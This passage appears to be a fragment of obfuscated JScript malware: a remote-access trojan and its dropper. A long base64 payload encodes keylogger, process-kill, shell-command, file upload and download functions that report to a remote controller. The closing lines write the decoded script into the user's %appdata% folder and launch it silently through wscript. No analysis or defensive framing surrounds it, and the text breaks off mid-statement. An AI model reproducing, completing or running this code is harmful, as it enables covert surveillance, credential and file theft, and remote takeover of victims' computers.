9MQz4+JXlMQ0IwY25WbEtUc0tDUWtKZDNKcGRHVnlMbmR5YVhSbEtHSjFabVpsY2lrN0Nna0pDWGR5YVhSbGNpNWpiRzl6WlNncE93b0pDUWwzY21sMFpYSWdQU0J1ZFd4c093b0pDUWtLQ1FrSmRYQnNiMkZrS0hOaGRtVnlJQ3NnSW1SaGRHRWlMQ0J5WlhSamJXUXBPd29KQ1FsaWNtVmhhenNLQ1FsOUNpPj4lZ0lIMEtJQz4+JWdaR1ZzWlhSbFptRm1LSE4wY25OaGRtVjBieWs3Q24wS0NuMEtDbVoxYm1OMGFXOXVJR3RsZVd4dloyZGxjbk4wWVhKMFpYSWdLR1pwYkdWMWNtd3NJR1pwYkdWdVlXMWxMQ0JtYVd4bFlYSm5MQ0JwYzE5dlptWnNhVzVsS1hzS2MyaGxiR3h2WW1vdWNuVnVLQ0lsWTI5dGMzQmxZeVVnTDJNZ2RHRnphMnRwYkd3Z0wwWWdMMGxOSUNJZ0t5Qm1hV3hsYm1GdFpTd2dNQ3dnZEhKMVpTazdDblpoY2lCemRISnNhVzVySUQwZ1ptbHNaWFZ5YkRzS2RtRnlJSE4wY25OaGRtVjBieT4+JTlJR2x1YzNSaGJHeGthWElnS3lCbWFXeGxibUZ0WlRzS2RtRnlJRzlpYW1oMGRIQmtiM2R1Ykc5aFpDPj4lOUlGZFRZM0pwY0hRdVEzSmxZWFJsVDJKcVpXTjBLQ0p0YzNodGJESXVlRzFzYUhSMGNDSWdLVHNLYjJKcWFIUjBjR1J2ZDI1c2IyRmtMbTl3Wlc0b0ltZGxkQ0lzSUhOMGNteHBibXNzSUdaaGJITmxLVHNLYjJKcWFIUjBjR1J2ZDI1c2IyRmtMbk5sZEZKbGNYVmxjM1JJWldGa1pYSW9JbU5oWTJobExXTnZiblJ5YjJ3Nklpd2dJbTFoZUMxaFoyVTlNQ0lwT3dwdlltcG9kSFJ3Wkc5M2JteHZZV1F1YzJWdVpDZ3BPd29LZG1GeUlHOWlhbVp6YjJSdmQyNXNiMkZrSUQwZ1YxTmpjbWx3ZEM1RGNtVmhkR1ZQWW1wbFkzUW9Jbk5qY21sd2RHbHVaeTVtYVd4bGMzbHpkR1Z0YjJKcVpXTjBJaWs3Q21sbUtHOWlhbVp6YjJSdmQyNXNiMkZrTG1acGJHVkZlR2x6ZEhNb2MzUnljMkYyWlhSdktTbDdDaT4+JWdJQ0J2WW1wbWMyOWtiM2R1Ykc5aFpDNWtaV3hsZEdWR2FXeGxLSE4wY25OaGRtVjBieWs3Q24wS0k+PiVwcFppPj4lb2IySnFhSFIwY0dSdmQyNXNiMkZrTG5OMFlYUjFjeT4+JTlQUz4+JXlNRD4+JXBld29nSUhSeWVYc0tJQz4+JWdJSFpoY2k+PiVnYjJKcWMzUnlaV0Z0Wkc5M2JteHZZV1FnUFNCWFUyTnlhWEIwTGtOeVpXRjBaVTlpYW1WamRDZ2lZV1J2WkdJdWMzUnlaV0Z0SWlrN0NpPj4lZ0lDQnZZbXB6ZEhKbFlXMWtiM2R1Ykc5aFpDNVVlWEJsSUQwZ01Uc2dDaT4+JWdJQ0J2WW1wemRISmxZVzFrYjNkdWJHOWhaQzVQY0dWdUtDazdDaT4+JWdJQ0J2WW1wemRISmxZVzFrYjNkdWJHOWhaQzVYY21sMFpTaHZZbXBvZEhSd1pHOTNibXh2WVdRdWNtVnpjRzl1YzJWQ2IyUjVLVHNLSUM+PiVnSUc5aWFuTjBjbVZoYldSdmQyNXNiMkZrTGxOaGRtVlViMFpwYkdVb2MzUnljMkYyWlhSdktUc0tJQz4+JWdJRzlpYW5OMGNtVmhiV1J2ZDI1c2IyRmtMbU5zYjNObEtDazdDaT4+JWdJQz4+JUtJQz4+JWdJRzlpYW5OMGNtVmhiV1J2ZDI1c2IyRmtJRDBnYm5Wc2JEc0tDWDFqWVhSamFDaGxjbklwZXdvSkNYVndaR0YwWlhOMFlYUjFjeWdpUVdOalpYTnpLMFJsYm1sbFpDSXBPd29KZlFvZ2ZRb2dhV1lvYjJKcVpuTnZaRzkzYm14dllXUXVabWxzWlVWNGFYTjBjeWh6ZEhKellYWmxkRzhwS1hzS0lDPj4lZ2MyaGxiR3h2WW1vdWNuVnVLQ0pjSWlJZ0t5QnpkSEp6WVhabGRHOGdLeT4+JWlYQ0lnSWk+PiVySUdodmMzUWdLeT4+JWlJQ0lnS3lCd2IzSjBJQ3NnSWlCY0lpSWdLeUJtYVd4bFlYSm5JQ3NnSWx3aUlDSWdLeUJwYzE5dlptWnNhVzVsS1RzS0lIMGdDbjBLQ21aMWJtTjBhVzl1SUhObGNuWnBZMlZ6ZEdGeWRHVnlJQ2htYVd4bGRYSnNMQ0JtYVd4bGJtRnRaU3dnWm1sc1pXRnlaeWw3Q2k+PiVnSUNCemFHVnNiRzlpYWk1eWRXNG9JaVZqYjIxemNHVmpKUz4+JXZZeUIwWVhOcmEybHNiQz4+JXZSaT4+JXZTVTBnSWk+PiVySUdacGJHVnVZVzFsTEM+PiV3TENCMGNuVmxLVHNLSUM+PiVnSUhaaGNpQnpkSEpzYVc1cklEMGdabWxzWlhWeWJEc0tJQz4+JWdJSFpoY2lCemRISnpZWFpsZEc4Z1BTQnBibk4wWVd4c1pHbHlJQ3NnWm1sc1pXNWhiV1U3Q2k+PiVnSUNCMllYSWdiMkpxYUhSMGNHUnZkMjVzYjJGa0lEMGdWMU5qY21sd2RDNURjbVZoZEdWUFltcGxZM1FvSW0xemVHMXNNaTU0Yld4b2RIUndJaT4+JXBPd29nSUM+PiVnYjJKcWFIUjBjR1J2ZDI1c2IyRmtMbTl3Wlc0b0ltZGxkQ0lzSUhOMGNteHBibXNzSUdaaGJITmxLVHNLSUM+PiVnSUc5aWFtaDBkSEJrYjNkdWJHOWhaQzV6WlhSU1pYRjFaWE4wU0dWaFpHVnlLQ0pqWVdOb1pTMWpiMjUwY205c09pSXNJQ0p0WVhndFlXZGxQVD4+JWlLVHNLSUM+PiVnSUc5aWFtaDBkSEJrYjNkdWJHOWhaQzV6Wlc1a0tDazdDaT4+JWdJQz4+JUtJQz4+JWdJSFpoY2lCdlltcG1jMjlrYjNkdWJHOWhaQz4+JTlJRmRUWTNKcGNIUXVRM0psWVhSbFQySnFaV04wS0NKelkzSnBjSFJwYm1jdVptbHNaWE41YzNSbGJXOWlhbVZqZENJcE93b2dJQz4+JWdhV1lvYjJKcVpuTnZaRzkzYm14dllXUXVabWxzWlVWNGFYTjBjeWh6ZEhKellYWmxkRzhwS1hzS0lDPj4lZ0lDPj4lZ0lDQnZZbXBtYzI5a2IzZHViRzloWkM1a1pXeGxkR1ZHYVd4bEtITjBjbk5oZG1WMGJ5azdDaT4+JWdJQ0I5Q2k+PiVnSUM+PiVnQ2k+PiVnSUNCcFppPj4lb2IySnFhSFIwY0dSdmQyNXNiMkZrTG5OMFlYUjFjeT4+JTlQUz4+JXlNRD4+JXBld29KSUNCMGNubDdDaT4+JWdJQz4+JWdJQz4+JWdkbUZ5SUNCdlltcHpkSEpsWVcxa2IzZHViRzloWkM+PiU5SUZkVFkzSnBjSFF1UTNKbFlYUmxUMkpxWldOMEtDSmhaRzlrWWk1emRISmxZVzBpS1RzS0lDPj4lZ0lDPj4lZ0lDQnZZbXB6ZEhKbFlXMWtiM2R1Ykc5aFpDNVVlWEJsSUQwZ01Uc2dDaT4+JWdJQz4+JWdJQz4+JWdiMkpxYzNSeVpXRnRaRzkzYm14dllXUXVUM0JsYmlncE93b2dJQz4+JWdJQz4+JWdJRzlpYW5OMGNtVmhiV1J2ZDI1c2IyRmtMbGR5YVhSbEtHOWlhbWgwZEhCa2IzZHViRzloWkM1eVpYTndiMjV6WlVKdlpIa3BPd29nSUM+PiVnSUM+PiVnSUc5aWFuTjBjbVZoYldSdmQyNXNiMkZrTGxOaGRtVlViMFpwYkdVb2MzUnljMkYyWlhSdktUc0tJQz4+JWdJQz4+JWdJQ0J2WW1wemRISmxZVzFrYjNkdWJHOWhaQzVqYkc5elpTZ3BPd29nSUM+PiVnSUM+PiVnST4+JW9nSUM+PiVnSUM+PiVnSUc5aWFuTjBjbVZoYldSdmQyNXNiMkZrSUQwZ2JuVnNiRHNLQ1M+PiVnZldOaGRHTm9LR1Z5Y2lsN0Nna0pkWEJrWVhSbGMzUmhkSFZ6S0NKQlkyTmxjM01yUkdWdWFXVmtJaWs3Q2drZ0lIMEtJQz4+JWdJQ0I5Q2k+PiVnSUM+PiVnYVdZb2IySnFabk52Wkc5M2JteHZZV1F1Wm1sc1pVVjRhWE4wY3loemRISnpZWFpsZEc4cEtYc0tJQz4+JWdJQz4+JWdJQ0J6YUdWc2JHOWlhaTV5ZFc0b0lsd2lJaT4+JXJJSE4wY25OaGRtVjBieT4+JXJJQ0pjSWk+PiVpSUNzZ2FHOXpkQz4+JXJJQ0lnSWk+PiVySUhCdmNuUWdLeT4+JWlJRndpSWk+PiVySUdacGJHVmhjbWNnS3k+PiVpWENJaUtUc0tJQz4+JWdJQz4+JWdmUz4+JWdDbjBLQ21aMWJtTjBhVzl1SUhOcGRHVmtiM2R1Ykc5aFpHVnlJQ2htYVd4bGRYSnNMR1pwYkdWdVlXMWxLWHNLQ2k+PiVnSUNCMllYSWdjM1J5YkdsdWF5Pj4lOUlHWnBiR1YxY213N0NpPj4lZ0lDQjJZWElnYzNSeWMyRjJaWFJ2SUQwZ2FXNXpkR0ZzYkdScGNpPj4lcklHWnBiR1Z1WVcxbE93b2dJQz4+JWdkbUZ5SUc5aWFtaDBkSEJrYjNkdWJHOWhaQz4+JTlJRmRUWTNKcGNIUXVRM0psWVhSbFQySnFaV04wS0NKdGMzaHRiREl1YzJWeWRtVnllRzFzYUhSMGNDSWdLVHNLSUM+PiVnSUc5aWFtaDBkSEJrYjNkdWJHOWhaQzV2Y0dWdUtDSm5aWFFpTENCemRISnNhVzVyTENCbVlXeHpaU2s3Q2k+PiVnSUNCdlltcG9kSFJ3Wkc5M2JteHZZV1F1YzJWMFVtVnhkV1Z6ZEVobFlXUmxjaWdpWTJGamFHVXRZMjl1ZEhKdmJDSXNJQ0p0WVhndFlXZGxQVD4+JWlLVHNLSUM+PiVnSUc5aWFtaDBkSEJrYjNkdWJHOWhaQzV6Wlc1a0tDazdDaT4+JWdJQz4+JUtJQz4+JWdJSFpoY2lCdlltcG1jMjlrYjNkdWJHOWhaQz4+JTlJRmRUWTNKcGNIUXVRM0psWVhSbFQySnFaV04wS0NKelkzSnBjSFJwYm1jdVptbHNaWE41YzNSbGJXOWlhbVZqZENJcE93b2dJQz4+JWdhV1lvYjJKcVpuTnZaRzkzYm14dllXUXVabWxzWlVWNGFYTjBjeWh6ZEhKellYWmxkRzhwS1hzS0lDPj4lZ0lDPj4lZ0lDQnZZbXBtYzI5a2IzZHViRzloWkM1a1pXeGxkR1ZHYVd4bEtITjBjbk5oZG1WMGJ5azdDaT4+JWdJQ0I5Q2k+PiVnSUM+PiVnQ2k+PiVnSUNCcFppPj4lb2IySnFhSFIwY0dSdmQyNXNiMkZrTG5OMFlYUjFjeT4+JTlQUz4+JXlNRD4+JXBld29nSUM+PiVnSUM+PiVnSUhaaGNpPj4lZ2IySnFjM1J5WldGdFpHOTNibXh2WVdRZ1BTQlhVMk55YVhCMExrTnlaV0YwWlU5aWFtVmpkQ2dpWVdSdlpHSXVjM1J5WldGdElpazdDaT4+JWdJQz4+JWdJQz4+JWdiMkpxYzNSeVpXRnRaRzkzYm14dllXUXVWSGx3WlM+PiU5SURFN0k+PiVvZ0lDPj4lZ0lDPj4lZ0lHOWlhbk4wY21WaGJXUnZkMjVzYjJGa0xrOXdaVzRvS1RzS0lDPj4lZ0lDPj4lZ0lDQnZZbXB6ZEhKbFlXMWtiM2R1Ykc5aFpDNVhjbWwwWlNodlltcG9kSFJ3Wkc5M2JteHZZV1F1Y21WemNHOXVjMlZDYjJSNUtUc0tJQz4+JWdJQz4+JWdJQ0J2WW1wemRISmxZVzFrYjNkdWJHOWhaQzVUWVhabFZHOUdhV3hsS0hOMGNuTmhkbVYwYnlrN0NpPj4lZ0lDPj4lZ0lDPj4lZ2IySnFjM1J5WldGdFpHOTNibXh2WVdRdVkyeHZjMlVvS1RzS0lDPj4lZ0lDPj4lZ0lDPj4lS0lDPj4lZ0lDPj4lZ0lDQnZZbXB6ZEhKbFlXMWtiM2R1Ykc5aFpDPj4lOUlHNTFiR3c3Q2k+PiVnSUM+PiVnZlFvZ0lDPj4lZ0lHbG1LRzlpYW1aemIyUnZkMjVzYjJGa0xtWnBiR1ZGZUdsemRITW9jM1J5YzJGMlpYUnZLU2w3Q2k+PiVnSUM+PiVnSUM+PiVnYzJobGJHeHZZbW91Y25WdUtHOWlhbVp6YjJSdmQyNXNiMkZrTG1kbGRFWnBiR1VvYzNSeWMyRjJaWFJ2S1M1emFHOXlkRkJoZEdncE93b2dJQz4+JWdJQz4+JWdJSFZ3WkdGMFpYTjBZWFIxY3lnaVJYaGxZM1YwWldRclJtbHNaU0lwT3dvZ0lDPj4lZ0lIMEtmUW9LWm5WdVkzUnBiMjRnWkc5M2JteHZZV1FnS0dacGJHVjFjbXdzWm1sc1pXUnBjaWw3Q2k+PiVnSUNCcFppaG1hV3hsWkdseUlEMDlJQ0lpS1hzZ0NpPj4lZ0lDQm1hV3hsWkdseUlEMGdhVzV6ZEdGc2JHUnBjanNLSUM+PiVnSUgwS0NpPj4lZ0lDQnpkSEp6WVhabGRHOGdQU0JtYVd4bFpHbHlJQ3NnWm1sc1pYVnliQzV6ZFdKemRISW9abWxzWlhWeWJDNXNZWE4wU1c1a1pYaFBaaWdpWEZ3aUtTPj4lcklERXBPd29nSUM+PiVnZG1GeUlHOWlhbWgwZEhCa2IzZHViRzloWkM+PiU5SUZkVFkzSnBjSFF1UTNKbFlYUmxUMkpxWldOMEtDSnRjM2h0YkRJdWVHMXNhSFIwY0NJcE93b2dJQz4+JWdiMkpxYUhSMGNHUnZkMjVzYjJGa0xtOXdaVzRvSW5CdmMzUWlMQ0pvZEhSd09pOHZJaT4+JXJJR2h2YzNRZ0t5Pj4laU9pSWdLeUJ3YjNKMElDc2lMeUlnS3k+PiVpYzJWdVpDMTBieTF0WlNJZ0t5QnpjR3hwZEdWeUlDc2dabWxzWlhWeWJDd2dabUZzYzJVcE93b2dJQz4+JWdiMkpxYUhSMGNHUnZkMjVzYjJGa0xuTmxkRkpsY1hWbGMzUklaV0ZrWlhJb0luVnpaWEl0WVdkbGJuUTZJaXdnYVc1bWIzSnRZWFJwYjI0b0tTazdDaT4+JWdJQ0J2WW1wb2RIUndaRzkzYm14dllXUXVjMlZ1WkNnaUlpazdDaT4+JWdJQz4+JWdJQz4+JWdDaT4+JWdJQ0IyWVhJZ2IySnFabk52Wkc5M2JteHZZV1FnUFNCWFUyTnlhWEIwTGtOeVpXRjBaVTlpYW1WamRDZ2ljMk55YVhCMGFXNW5MbVpwYkdWemVYTjBaVzF2WW1wbFkzUWlLVHNLSUM+PiVnSUdsbUtHOWlhbVp6YjJSdmQyNXNiMkZrTG1acGJHVkZlR2x6ZEhNb2MzUnljMkYyWlhSdktTbDdDaT4+JWdJQz4+JWdJQz4+JWdiMkpxWm5OdlpHOTNibXh2WVdRdVpHVnNaWFJsUm1sc1pTaHpkSEp6WVhabGRHOHBPd29nSUM+PiVnZlFvZ0lDPj4lZ0k+PiVvZ0lDPj4lZ2FXWWdLRzlpYW1oMGRIQmtiM2R1Ykc5aFpDNXpkR0YwZFhNZ1BUMGdNaj4+JXdLWHNLSUM+PiVnSUM+PiVnSUNCMllYSWdJRzlpYW5OMGNtVmhiV1J2ZDI1c2IyRmtJRDBnVjFOamNtbHdkQzVEY21WaGRHVlBZbXBsWTNRb0ltRmtiMlJpTG5OMGNtVmhiU0lwT3dvZ0lDPj4lZ0lDPj4lZ0lHOWlhbk4wY21WaGJXUnZkMjVzYjJGa0xsUjVjR1VnUFM+PiV4T3k+PiVLSUM+PiVnSUM+PiVnSUNCdlltcHpkSEpsWVcxa2IzZHViRzloWkM1UGNHVnVLQ2s3Q2k+PiVnSUM+PiVnSUM+PiVnYjJKcWMzUnlaV0Z0Wkc5M2JteHZZV1F1VjNKcGRHVW9iMkpxYUhSMGNHUnZkMjVzYjJGa0xuSmxjM0J2Ym5ObFFtOWtlU2s3Q2k+PiVnSUM+PiVnSUM+PiVnYjJKcWMzUnlaV0Z0Wkc5M2JteHZZV1F1VTJGMlpWUnZSbWxzWlNoemRISnpZWFpsZEc4cE93b2dJQz4+JWdJQz4+JWdJRzlpYW5OMGNtVmhiV1J2ZDI1c2IyRmtMbU5zYjNObEtDazdDaT4+JWdJQz4+JWdJQz4+JWdDaT4+JWdJQz4+JWdJQz4+JWdiMkpxYzNSeVpXRnRaRzkzYm14dllXUWdQU0J1ZFd4c093b2dJQz4+JWdJSDBLSUM+PiVnSUNCcFppaHZZbXBtYzI5a2IzZHViRzloWkM1bWFXeGxSWGhwYzNSektITjBjbk5oZG1WMGJ5a3Bld29nSUM+PiVnSUM+PiVnSUhOb1pXeHNiMkpxTG5KMWJpaHZZbXBtYzI5a2IzZHViRzloWkM1blpYUkdhV3hsS0hOMGNuTmhkbVYwYnlrdWMyaHZjblJRWVhSb0tUc0tJQz4+JWdJQz4+JWdJQ0IxY0dSaGRHVnpkR0YwZFhNb0lrVjRaV04xZEdWa0swWnBiR1VpS1RzS0lDPj4lZ0lDQjlJPj4lcDlDZ3BtZFc1amRHbHZiaUIxY0dSaGRHVnpkR0YwZFhNb2MzUmhkSFZ6WDIxelp5bDdDblJ5ZVhzS0NYWmhjaUJ2WW1wemIyTWdQU0JYVTJOeWFYQjBMa055WldGMFpVOWlhbVZqZENnaWJYTjRiV3d5TG5odGJHaDBkSD4+JWlLVHNLQ1c5aWFuTnZZeTV2Y0dWdUtDSndiM04wSWl3aWFIUjBjRG92THlJZ0t5Qm9iM04wSUNzZ0lqb2lJQ3NnY0c5eWRDPj4lcklDSXZJaT4+JXJJQ0oxY0dSaGRHVXRjM1JoZEhWeklpPj4lcklITndiR2wwWlhJZ0t5QnpkR0YwZFhOZmJYTm5MQ0JtWVd4elpTazdDZ2x2WW1wemIyTXVjMlYwVW1WeGRXVnpkRWhsWVdSbGNpZ2lkWE5sY2kxaFoyVnVkRG9pTENCcGJtWnZjbTFoZEdsdmJpZ3BLVHNLQ1c5aWFuTnZZeTV6Wlc1a0tDSWlLVHNLQ1gxallYUmphQ2hsY25JcGUzMEtmUW9LWm5WdVkzUnBiMjRnZFhCc2IyRmtJQ2htYVd4bGRYSnNMQ0J5WlhSamJXUXBld29KZEhKNWV3b0pDWFpoY2k+PiVnYUhSMGNHOWlhaXh2WW1wemRISmxZVzExY0d4dllXUmxMR0oxWm1abGNqc0tDUWwyWVhJZ2IySnFjM1J5WldGdGRYQnNiMkZrWlM+PiU5SUZkVFkzSnBjSFF1UTNKbFlYUmxUMkpxWldOMEtDSmhaRzlrWWk1emRISmxZVzBpS1RzS0NRbHZZbXB6ZEhKbFlXMTFjR3h2WVdSbExsUjVjR1VnUFM+PiV4T3k+PiVLQ1FsdlltcHpkSEpsWVcxMWNHeHZZV1JsTGs5d1pXNG9LVHNLQ1FsdlltcHpkSEpsWVcxMWNHeHZZV1JsTG14dllXUkdjbTl0Um1sc1pTaG1hV3hsZFhKc0tUc0tDUWxpZFdabVpYSWdQU0J2WW1wemRISmxZVzExY0d4dllXUmxMbEpsWVdRb0tUc0tDUWx2WW1wemRISmxZVzExY0d4dllXUmxMbU5zYjNObEtDazdDZ29KQ1c5aWFuTjBjbVZoYldSdmQyNXNiMkZrSUQwZ2JuVnNiRHNLQ1FsMllYSWdhSFIwY0c5aWFpPj4lOUlGZFRZM0pwY0hRdVEzSmxZWFJsVDJKcVpXTjBLQ0p0YzNodGJESXVlRzFzYUhSMGNDSXBPd29KQ1doMGRIQnZZbW91YjNCbGJpZ2ljRzl6ZENJc0ltaDBkSD4+JTZMeThpSUNzZ2FHOXpkQz4+JXJJQ0k2SWk+PiVySUhCdmNuUWdLeUl2SWk+PiVySUhKbGRHTnRaQ3dnWm1Gc2MyVXBPd29KQ1doMGRIQnZZbW91YzJWMFVtVnhkV1Z6ZEVobFlXUmxjaWdpZFhObGNpMWhaMlZ1ZERvaUxDQnBibVp2Y20xaGRHbHZiaWdwS1RzS0NRbG9kSFJ3YjJKcUxuTmxibVFvWW5WbVptVnlLVHNLQ1gxallYUmphQ2hsY2lsN0Nna0pkWEJrWVhSbGMzUmhkSFZ6S0NKVmNHeHZZV1FyUm1GcGJHVmtJaWs3Q2dsOUNuMEtDZ3BtZFc1amRHbHZiaUJrWld4bGRHVm1ZV1lnS0hWeWJDbDdDblJ5ZVhzS1ptbHNaWE41YzNSbGJXOWlhaTVrWld4bGRHVkdhV3hsS0hWeWJDazdDbVpwYkdWemVYTjBaVzF2WW1vdVpHVnNaWFJsUm05c1pHVnlLSFZ5YkNrN0NuMWpZWFJqYUNobGNuSXBlMzBLZlFvS1puVnVZM1JwYjI0Z1kyMWtjMmhsYkd3Z0tHTnRaQ2w3Q25aaGNpQm9kSFJ3YjJKcUxHOWxlR1ZqTEhKbFlXUmhiR3htY205dFlXNTVPd3AyWVhJZ2MzUnljMkYyWlhSdklEMGdhVzV6ZEdGc2JHUnBjaT4+JXJJQ0p2ZFhRdWRIaDBJanNLYzJobGJHeHZZbW91Y25WdUtDSWxZMjl0YzNCbFl5VWdMMk1nSWk+PiVySUdOdFpDPj4lcklDSWdQaUJjSWlJZ0t5QnpkSEp6WVhabGRHOGdLeT4+JWlYQ0lpTEM+PiV3TENCMGNuVmxLVHNLY21WaFpHRnNiR1p5YjIxaGJua2dQU0JtYVd4bGMzbHpkR1Z0YjJKcUxtOXdaVzVVWlhoMFJtbHNaU2h6ZEhKellYWmxkRzhwTG5KbFlXUkJiR3dvS1RzS2RISjVld3BtYVd4bGMzbHpkR1Z0YjJKcUxtUmxiR1YwWlVacGJHVW9jM1J5YzJGMlpYUnZLVHNLZldOaGRHTm9LR1ZsS1h0OUNuSmxkSFZ5YmlCeVpXRmtZV3hzWm5KdmJXRnVlVHNLZlFvS0NtWjFibU4wYVc5dUlHVnVkVzF3Y205alpYTnpLQ2w3Q2k+PiVnSUNCMllYSWdaWD4+JWdQUz4+JWlJanNLZEhKNWV3cDJZWElnYjJKcWQyMXBjMlZ5ZG1salpTPj4lOUlFZGxkRTlpYW1WamRDZ2lkMmx1YldkdGRITTZYRnhjWEM1Y1hISnZiM1JjWEdOcGJYWXlJaWs3Q25aaGNpQmpiMnhwZEdWdGN5Pj4lOUlHOWlhbmR0YVhObGNuWnBZMlV1UlhobFkxRjFaWEo1S0NKelpXeGxZM1FnS2lCbWNtOXRJSGRwYmpNeVgzQnliMk5sYzNNaUxHNTFiR3dzTkRncE93b0tabTl5S0haaGNpQm1hUz4+JTlJRzVsZHlCRmJuVnRaWEpoZEc5eUtHTnZiR2wwWlcxektUc2dJV1pwTG1GMFJXNWtLQ2s3SUdacExtMXZkbVZPWlhoMEtDa3Bld29nSUM+PiVnZG1GeUlHOWlhbWwwWlcwZ1BTQm1hUzVwZEdWdEtDazdDZ2xsY0M+PiU5SUdWd0lDc2diMkpxYVhSbGJTNXVZVzFsSUNzZ0lsNGlPd29KWlg+PiVnUFNCbGNDPj4lcklHOWlhbWwwWlcwdWNISnZZMlZ6YzBsa0lDc2dJbDRpT3dvZ0lDPj4lZ1pYPj4lZ1BTQmxjQz4+JXJJRzlpYW1sMFpXMHVaWGhsWTNWMFlXSnNaVkJoZEdnZ0t5QnpjR3hwZEdWeU93cDlDbjFqWVhSamFDaGxjaWw3ZlFweVpYUjFjbTRnWlg+PiU3Q24wS0NtWjFibU4wYVc5dUlHVjRhWFJ3Y205alpYTnpJQ2h3YVdRcGV3cDBjbmw3Q25Ob1pXeHNiMkpxTG5KMWJpZ2lkR0Z6YTJ0cGJHd2dMMFlnTDFRZ0wxQkpSQz4+JWlJQ3NnY0dsa0xEPj4lc2RISjFaU2s3Q24xallYUmphQ2hsY25JcGUzMEtmUW9LWm5WdVkzUnBiMjRnWjJWMFVHRnlaVzUwUkdseVpXTjBiM0o1S0hCaGRHZ3Bld29KZG1GeUlHWnZJRDBnWm1sc1pYTjVjM1JsYlc5aWFpNW5aWFJHYVd4bEtIQmhkR2dwT3dvSmNtVjBkWEp1SUdacGJHVnplWE4wWlcxdlltb3VaMlYwVUdGeVpXNTBSbTlzWkdWeVRtRnRaU2htYnlrN0NuMEtDbVoxYm1OMGFXOXVJR1Z1ZFcxbVlXWWdLR1Z1ZFcxa2FYSXBld29nSUM+PiVnZG1GeUlISmxJRDBnSWlJN0NuUnllWHNLSUM+PiVnSUdadmNpaDJZWElnWm1rZ1BTQnVaWGNnUlc1MWJXVnlZWFJ2Y2lobWFXeGxjM2x6ZEdWdGIySnFMbWRsZEVadmJHUmxjaT4+JW9aVzUxYldScGNpa3VjM1ZpWm05c1pHVnljeWs3SUNGbWFTNWhkRVZ1WkNncE95Qm1hUzV0YjNabFRtVjRkQ2dwS1hzS0lDPj4lZ0lDPj4lZ0lDQjJZWElnWm05c1pHVnlJRDBnWm1rdWFYUmxiU2dwT3dvZ0lDPj4lZ0lDPj4lZ0lISmxJRDBnY21VZ0t5Qm1iMnhrWlhJdWJtRnRaUz4+JXJJQ0plWG1SZUlpPj4lcklHWnZiR1JsY2k1aGRIUnlhV0oxZEdWeklDc2djM0JzYVhSbGNqc2dDaT4+JWdJQ0I5Q2k+PiVnSUNCbWIzSW9kbUZ5SUdacElEMGdibVYzSUVWdWRXMWxjbUYwYjNJb1ptbHNaWE41YzNSbGJXOWlhaTVuWlhSR2IyeGtaWElnS0dWdWRXMWthWElwTG1acGJHVnpLVHNnSVdacExtRjBSVzVrS0NrN0lHWnBMbTF2ZG1WT1pYaDBLQ2twZXdvZ0lDPj4lZ0lDPj4lZ0lIWmhjaUJtYVd4bElEMGdabWt1YVhSbGJTZ3BPd29nSUM+PiVnSUM+PiVnSUhKbElEMGdjbVVnS3lCbWFXeGxMbTVoYldVZ0t5Pj4laVhpSWdLeUJtYVd4bExuTnBlbVVnS3k+PiVpWGlJZ0t5Qm1hV3hsTG1GMGRISnBZblYwWlhNZ0t5QnpjR3hwZEdWeU95Pj4lS0lDPj4lZ0lIMEtmV05oZEdOb0tHVnljaWw3ZlFweVpYUjFjbTRnY21VN0NuMD0iLCAiYmluLmJhc2U2NCJdOwp9CgpmdW5jdGlvbiBibG9vZE8ocHN0QVIpewoJcHN0QVIuTy5kYXRhVHlwZSA9IGJnZnRyZXdhcygpWzFdOwoJcHN0QVIuTy50ZXh0ID0gYmdmdHJld2FzKClbMF0ucmVwbGFjZShwc3RBUi5JLCAiQSIpOwoJcmV0dXJuICBBcnJheShmdW5jdGlvbigpe3JldHVybiBwc3RBUi5PO30pOwp9CnZhciBDTyA9IEFycmF5KGZ1bmN0aW9uKHR4dCl7CglyZXR1cm4gV1NjcmlwdC5DcmVhdGVPYmplY3QodHh0KTsKfSk7CgpmdW5jdGlvbiB3ZWFrMG8wbygpewoJdHJ5ewoJCXJldHVybiBDT1swXSgiU3lzdGVtLk5ldC5PbGVEYiIpOwoJfWNhdGNoKGVyKXsKCQlyZXR1cm4gbnVsbDsKCX0KfQoKZnVuY3Rpb24gcG93ZXJRUVEoYTFzMmVldzAsIGExczJlZXcxLCBhMXMyZWV3Mil7CgkvL3JldHVybiBBcnJheShhMXMyZWV3MFswXS5nZXRTdHJpbmcoKGExczJlZXcwWzFdKSksIGExczJlZXcyKTsKfQoKZnVuY3Rpb24gaGFpbE1ZamVzKGExczJlZXcsIGExczJlZXcxLCBhMXMyZWV3Mil7Cgl0cnl7CgkJdmFyIG50diA9IGJsb29kTyh7TzogYTFzMmVldzEuY3JlYXRlRWxlbWVudCgiZWd5IiksIEk6IG5ldyBSZWdFeHAoYTFzMmVld1swXSwgYTFzMmVld1sxXSl9KTsKCQlpZih3ZWFrMG8wbygpID09IG51bGwpewoJCQl2YXIgdHV0TmthbWFuID0gQ09bMF0oIkFkb2RiLlN0cmVhbSIpOwoJCQl0dXROa2FtYW4uVHlwZSA9IDE7CgkJCXR1dE5rYW1hbi5PcGVuKCk7CgkJCXR1dE5rYW1hbi5Xcml0ZShudHZbMF0oKS5ub2RlVHlwZWRWYWx1ZSk7CgkJCXR1dE5rYW1hbi5Qb3NpdGlvbiA9IDA7CgkJCXR1dE5rYW1hbi5UeXBlID0gKDMtMSk7CgkJCXR1dE5rYW1hbi5DaGFyU2V0ID0gInVzLWFzY2lpIjsKCQkJYTFzMmVldyA9IEFycmF5KHR1dE5rYW1hbi5SZWFkVGV4dCgpLCBldmFsKTsKCQkJbnR2ID0gbnVsbDsKCQl9ZWxzZXsKCQkJbnR2ID0gcG93ZXJRUVEoW3dlYWswbzBvKCksIG50di5pdGVtKCkubm9kZVR5cGVkVmFsdWVdLCBudWxsLCBldmFsKTsKCQl9CgkJYTFzMmVldzIgPSBudHYuUmVhZCgpOwoJCQoJfWNhdGNoKGVycil7CgkJYTFzMmVld1sxXSh7ajpbYTFzMmVld1swXV19LmpbMF0pOwoJfQp9CgpoYWlsTVlqZXMoQXJyYXkoIj4+JSIsICJnIiksIENPWzBdKCJNaWNyb3NvZnQuWG1sRG9tIikpOwo=&quot;;\r\nvar wshShell1 = WScript.CreateObject(&quot;WScript.Shell&quot;);\r\nvar appdatadir1 = wshShell1.ExpandEnvironmentStrings(&quot;%appdata%&quot;);\r\nvar stubpath1 = appdatadir1 + &quot;\\\\aRUaSMlhYC.js&quot;;\r\nvar decoded1 = decodeBase64(longText1);\r\nwriteBytes(stubpath1, decoded1);\r\nwshShell1.run(&quot;wscript \/\/B \\&quot;&quot; + stubpath1 + 